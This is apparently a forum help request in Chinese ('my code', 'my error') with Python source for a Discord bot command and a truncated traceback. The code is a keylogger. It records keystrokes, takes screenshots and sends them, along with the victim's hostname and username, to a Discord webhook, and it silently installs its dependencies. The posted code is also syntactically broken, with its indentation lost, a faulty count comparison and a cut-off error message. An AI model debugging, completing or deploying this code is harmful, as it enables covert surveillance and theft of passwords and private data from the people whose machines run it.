我的代码
@client.tree.command(name="keytest")
@app_commands.describe(nomkey = "10/100/1000")
async def keylogs(ctx, nomkey: str):
import os
import socket
from pynput.keyboard import Key, Listener
try:
from discord_webhook import DiscordWebhook, DiscordEmbed
except:
os.system("pip install discord-webhook")
from discord_webhook import DiscordWebhook, DiscordEmbed
try:
import pyautogui
except:
os.system('pip install pyautogui')
import pyautogui
content = ""
username = os.getlogin()
test = socket.gethostname()
n = os.linesep
fpaa = rf"C:\Users\{username}\Downloads\0.jpg"
content = ""
webhook = DiscordWebhook(url=f"wehooks", username="test", avatar_url="https://i.ibb.co/PCP5tLh/kisspng-security-hacker-white-hat-anonymous-logo-products-and-services-data-solver-5c4f1b3b8218f9-95.png", content=content)
embed = DiscordEmbed(title=f"**All In One**", color=242424)
webhook.add_embed(embed)
embed.set_description(f"test your key {n}PC = '{test}'{n}OS = '{username}'")
embed.set_author(name=f"{test}", url=f"https://www.youtube.com/@Kawaii_iKi_san/videos", icon_url="https://i.ibb.co/PCP5tLh/kisspng-security-hacker-white-hat-anonymous-logo-products-and-services-data-solver-5c4f1b3b8218f9-95.png")
embed.set_footer(text=f"All In One - Discord Tools Program")
embed.set_timestamp()
response = webhook.execute()
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
if count >= {nomkey}:
for key in keys:
k = str(keys).replace("'", " ")
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
count = 0
embed.set_description(f"*{test}*{n}{n}{k}")
embed.set_author(name=f"{test}", url=f"https://www.youtube.com/@Kawaii_iKi_san/videos", icon_url="https://i.ibb.co/PCP5tLh/kisspng-security-hacker-white-hat-anonymous-logo-products-and-services-data-solver-5c4f1b3b8218f9-95.png")
embed.set_footer(text=f"All In One - Discord Tools Program")
embed.set_timestamp()
myScreenshot = pyautogui.screenshot()
myScreenshot.save(f'{fpaa}')
with open(f"{fpaa}", "rb") as f:
webhook.add_file(file=f.read(), filename='0.jpg')
embed.set_image(url='attachment://0.jpg')
os.remove(fpaa)
response = webhook.execute()
keys = []
def on_release(key):
pass
with Listener(on_press=on_press, on_release=on_release) as Listener:
Listener.join()
我的错误
回溯(最后一次通话): 文件“C:\Python310\lib\site-packages\discord pp_command